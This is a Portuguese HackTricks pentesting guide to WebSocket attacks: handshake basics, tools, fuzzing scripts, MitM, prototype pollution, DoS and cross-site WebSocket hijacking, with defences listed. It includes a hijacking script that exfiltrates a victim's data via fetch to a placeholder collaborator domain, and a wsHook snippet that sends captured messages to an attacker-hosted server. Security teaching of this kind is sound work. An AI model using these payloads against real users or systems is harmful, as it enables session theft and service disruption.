WebSocket Attacks

Reading time: 15 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

O que são WebSockets

As conexões WebSocket são estabelecidas por meio de um handshake inicial HTTP e são projetadas para serem de longa duração, permitindo troca de mensagens bidirecional a qualquer momento sem a necessidade de um sistema transacional. Isso torna os WebSockets particularmente vantajosos para aplicações que exigem baixa latência ou comunicação iniciada pelo servidor, como fluxos de dados financeiros ao vivo.

Estabelecimento de Conexões WebSocket

Uma explicação detalhada sobre o estabelecimento de conexões WebSocket pode ser acessada here. Em resumo, as conexões WebSocket geralmente são iniciadas via JavaScript do lado do cliente como mostrado abaixo:

javascript
var ws = new WebSocket("wss://normal-website.com/ws")

O protocolo wss significa uma conexão WebSocket protegida com TLS, enquanto ws indica uma conexão não segura.

Durante o estabelecimento da conexão, um handshake é realizado entre o navegador e o servidor sobre HTTP. O processo de handshake envolve o navegador enviando uma requisição e o servidor respondendo, como ilustrado nos exemplos a seguir:

Navegador envia uma requisição de handshake:

javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Resposta do handshake do servidor:

javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

A conexão permanece aberta para troca de mensagens em ambas as direções uma vez estabelecida.

Pontos-chave do handshake do WebSocket:

  • Os cabeçalhos Connection e Upgrade sinalizam o início do handshake do WebSocket.
  • O cabeçalho Sec-WebSocket-Version indica a versão do protocolo WebSocket desejada, normalmente 13.
  • Um valor aleatório codificado em Base64 é enviado no cabeçalho Sec-WebSocket-Key, garantindo que cada handshake seja único, o que ajuda a evitar problemas com proxies de cache. Esse valor não serve para autenticação, mas para confirmar que a resposta não foi gerada por um servidor ou cache mal configurado.
  • O cabeçalho Sec-WebSocket-Accept na resposta do servidor é um hash do Sec-WebSocket-Key, verificando a intenção do servidor de abrir a conexão WebSocket.

Essas características garantem que o processo de handshake seja seguro e confiável, abrindo caminho para uma comunicação em tempo real eficiente.

Linux console

Você pode usar websocat para estabelecer uma conexão raw com um WebSocket.

bash
websocat --insecure wss://10.10.10.10:8000 -v

Ou para criar um servidor websocat:

bash
websocat -s 0.0.0.0:8000 #Listen in port 8000

Conexões websocket MitM

Se você descobrir que clientes estão conectados a um HTTP websocket da sua rede local atual, você pode tentar um ARP Spoofing Attack para realizar um ataque MitM entre o cliente e o servidor.
Quando o cliente tentar conectar-se a você, você pode então usar:

bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Enumeração de websockets

Você pode usar a ferramenta https://github.com/PalindromeLabs/STEWS para descobrir, fingerprint e buscar por vulnerabilidades conhecidas em websockets automaticamente.

Ferramentas de debug de Websocket

  • Burp Suite suporta comunicação MitM de websockets de forma muito semelhante à que faz para comunicação HTTP regular.
  • A socketsleuth extensão do Burp Suite permitirá que você gerencie melhor as comunicações Websocket no Burp obtendo o histórico, definindo regras de interceptação, usando regras de match and replace, usando Intruder e AutoRepeater.
  • WSSiP: Abreviação de "WebSocket/Socket.io Proxy", esta ferramenta, escrita em Node.js, fornece uma interface de usuário para capturar, interceptar, enviar mensagens customizadas e visualizar todas as comunicações WebSocket e Socket.IO entre o cliente e o servidor.
  • wsrepl é um interactive websocket REPL projetado especificamente para penetration testing. Ele fornece uma interface para observar mensagens websocket recebidas e enviar novas, com um framework fácil de usar para automatizar essa comunicação.
  • https://websocketking.com/ é uma aplicação web para se comunicar com outros sites usando websockets.
  • https://hoppscotch.io/realtime/websocket entre outros tipos de comunicações/protocolos, fornece uma aplicação web para se comunicar com outros sites usando websockets.

Descriptografando Websocket

Websocket Lab

No repositório Burp-Suite-Extender-Montoya-Course você encontra um código para iniciar uma aplicação web usando websockets e no este post você pode encontrar uma explicação.

Websocket Fuzzing

A extensão do Burp Backslash Powered Scanner agora também permite fuzz de mensagens WebSocket. Você pode ler mais informações sobre isso aqui.

WebSocket Turbo Intruder (extensão do Burp)

O WebSocket Turbo Intruder da PortSwigger traz scripting em Python no estilo Turbo Intruder e fuzzing de alta taxa para WebSockets. Instale-o a partir do BApp Store ou do código‑fonte. Inclui dois componentes:

  • Turbo Intruder: envio de alto volume para um único endpoint WS usando motores customizados.
  • HTTP Middleware: expõe um endpoint HTTP local que encaminha os bodies como mensagens WS sobre uma conexão persistente, permitindo que qualquer scanner baseado em HTTP possa sondar backends WS.

Padrão de script básico para fuzz em um endpoint WS e filtrar respostas relevantes:

python
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Use decoradores como @MatchRegex(...) para reduzir o ruído quando uma única mensagem dispara múltiplas respostas.

Encapsular WS por trás de HTTP (HTTP Middleware)

Envolva uma conexão WS persistente e encaminhe corpos HTTP como mensagens WS para testes automatizados com scanners HTTP:

python
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection

@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Em seguida, envie HTTP localmente; o body é encaminhado como a mensagem WS:

http
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"hi"}

Isso permite que você conduza backends WS enquanto filtra por eventos “interessantes” (por exemplo, SQLi errors, auth bypass, command injection behavior).

Tratamento do Socket.IO (handshake, heartbeats, events)

O Socket.IO adiciona seu próprio framing sobre o WS. Detecte-o pelo parâmetro de query obrigatório EIO (por exemplo, EIO=4). Mantenha a sessão viva com Ping (2) e Pong (3) e inicie a conversa com "40", então emita eventos como 42["message","hello"].

Intruder example:

python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Variante do adaptador HTTP:

python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Detectando prototype pollution no lado do servidor via Socket.IO

Seguindo a técnica segura de detecção do PortSwigger, tente poluir os internals do Express enviando um payload como:

json
{"__proto__":{"initialPacket":"Polluted"}}

Se as saudações ou o comportamento mudarem (por exemplo, o echo incluir "Polluted"), provavelmente você poluiu prototypes no lado do servidor. O impacto depende dos sinks alcançáveis; correlacione com os gadgets na seção Node.js prototype pollution. Veja:

WebSocket race conditions with Turbo Intruder

O engine padrão agrupa mensagens em uma conexão (excelente throughput, ruim para races). Use o engine THREADED para abrir múltiplas conexões WS e disparar payloads em paralelo para provocar logic races (double‑spend, token reuse, state desync). Comece pelo script de exemplo e ajuste a concorrência em config().

  • Learn methodology and alternatives in Race Condition (see “RC in WebSockets”).

WebSocket DoS: malformed frame “Ping of Death”

Crie frames WS cujo header declara um tamanho de payload enorme, mas envie nenhum corpo. Alguns servidores WS confiam no comprimento e pré-alocam buffers; defini‑lo perto de Integer.MAX_VALUE pode causar Out‑Of‑Memory e um DoS remoto não autenticado. Veja o script de exemplo.

CLI and debugging

  • Headless fuzzing: java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
  • Habilite o WS Logger para capturar e correlacionar mensagens usando IDs internas.
  • Use os helpers inc*/dec* em Connection para ajustar o tratamento de IDs de mensagem em adapters complexos.
  • Decorators como @PingPong/@Pong e helpers como isInteresting() reduzem o ruído e mantêm sessões vivas.

Operational safety

Fuzzing WS em alta taxa pode abrir muitas conexões e enviar milhares de mensagens por segundo. Frames malformados e altas taxas podem causar DoS real. Use somente onde permitido.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, também conhecido como cross-origin WebSocket hijacking, é identificado como um caso específico de Cross-Site Request Forgery (CSRF) que afeta handshakes WebSocket. Esta vulnerabilidade surge quando os handshakes WebSocket autenticam exclusivamente via HTTP cookies sem CSRF tokens ou medidas de segurança similares.

Um atacante pode explorar isso hospedando uma página web maliciosa que inicia uma conexão WebSocket cross-site para a aplicação vulnerável. Consequentemente, essa conexão é tratada como parte da sessão da vítima com a aplicação, explorando a falta de proteção CSRF no mecanismo de gestão de sessão.

Para que este ataque funcione, são necessários os seguintes requisitos:

  • A autenticação do websocket deve ser baseada em cookie
  • O cookie deve ser acessível a partir do servidor do atacante (isso geralmente significa SameSite=None) e sem Firefox Total Cookie Protection habilitado no Firefox e sem blocked third-party cookies no Chrome.
  • O websocket server não deve checar a origin da conexão (ou isso deve ser contornável)

Também:

  • Se a autenticação for baseada em uma conexão local (para localhost ou para uma rede local) o ataque será possível, pois nenhuma proteção atual o proíbe (check more info here)

Simple Attack

Note que ao estabelecer uma conexão websocket o cookie é enviado para o servidor. O servidor pode estar usando-o para relacionar cada usuário específico com sua sessão websocket baseada no cookie enviado.

Então, se por exemplo o websocket server envia de volta o histórico da conversa de um usuário se uma msg com "READY" for enviada, então um simples XSS que estabelece a conexão (o cookie será enviado automaticamente para autorizar o usuário vítima) enviando "READY" será capaz de recuperar o histórico da conversa.

html
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Neste post do blog https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ o atacante conseguiu executar Javascript arbitrário em um subdomínio do domínio onde a comunicação por Websocket estava ocorrendo. Como era um subdomínio, o cookie estava sendo enviado, e porque o Websocket não verificava corretamente o Origin, foi possível comunicar-se com ele e roubar tokens dele.

Roubando dados do usuário

Copie a aplicação web que você quer se passar (os arquivos .html, por exemplo) e dentro do script onde a comunicação por Websocket está ocorrendo adicione este código:

javascript
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Agora faça o download do arquivo wsHook.js de https://github.com/skepticfx/wshook e salve-o dentro da pasta com os arquivos web.
Ao expor a aplicação web e fazer um usuário conectar-se a ela, você poderá capturar as mensagens enviadas e recebidas via websocket:

javascript
sudo python3 -m http.server 80

Proteções contra CSWSH

O ataque CSWSH baseia-se no fato de que um usuário irá conectar-se a uma página maliciosa que irá abrir uma conexão websocket para uma página web onde o usuário já está conectado e se autenticará como ele, pois a requisição enviará os cookies do usuário.

Atualmente, é muito fácil prevenir esse problema:

  • Websocket server checking the origin: O servidor websocket deve sempre verificar de onde um usuário está se conectando para prevenir que páginas inesperadas se liguem a ele.
  • Authentication token: Em vez de basear a autenticação em um cookie, a conexão websocket pode ser baseada em um token que é gerado pelo servidor para o usuário e que é desconhecido pelo atacante (como um token anti-CSRF).
  • SameSite Cookie attribute: Cookies com o valor SameSite como Lax ou Strict não serão enviados de uma página atacante externa para o servidor da vítima; portanto, a autenticação baseada em cookie não terá sucesso. Note que o Chrome agora atribui o valor Lax aos cookies sem essa flag especificada, tornando isso mais seguro por padrão. Contudo, nos primeiros 2 minutos após a criação de um cookie ele terá o valor None, tornando-o vulnerável durante esse período limitado (também é esperado que essa medida seja removida em algum momento).
  • Firefox Total Cookie Protection: Total Cookie Protection funciona isolando cookies para o site no qual eles são criados. Essencialmente, cada site tem sua própria partição de armazenamento de cookies para evitar que terceiros vinculem o histórico de navegação de um usuário. Isso torna CSWSH unusable, pois o site do atacante não terá acesso aos cookies.
  • Chrome third-party cookies block: Isso também pode impedir o envio do cookie do usuário autenticado para o servidor websocket, mesmo com SameSite=None.

Condições de corrida

Race Conditions em WebSockets também existem, veja esta informação para saber mais.

Outras vulnerabilidades

Como Web Sockets são um mecanismo para enviar dados para o servidor e para o cliente, dependendo de como o servidor e o cliente tratam as informações, Web Sockets podem ser usados para explorar várias outras vulnerabilidades como XSS, SQLi ou qualquer outra vulnerabilidade web comum usando a entrada de um usuário a partir de um websocket.

WebSocket Smuggling

Essa vulnerabilidade pode permitir que você bypass reverse proxies restrictions fazendo-os acreditar que uma comunicação websocket foi estabelecida (mesmo que não seja verdade). Isso poderia permitir que um atacante acesse endpoints ocultos. Para mais informações, consulte a página a seguir:

Upgrade Header Smuggling

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks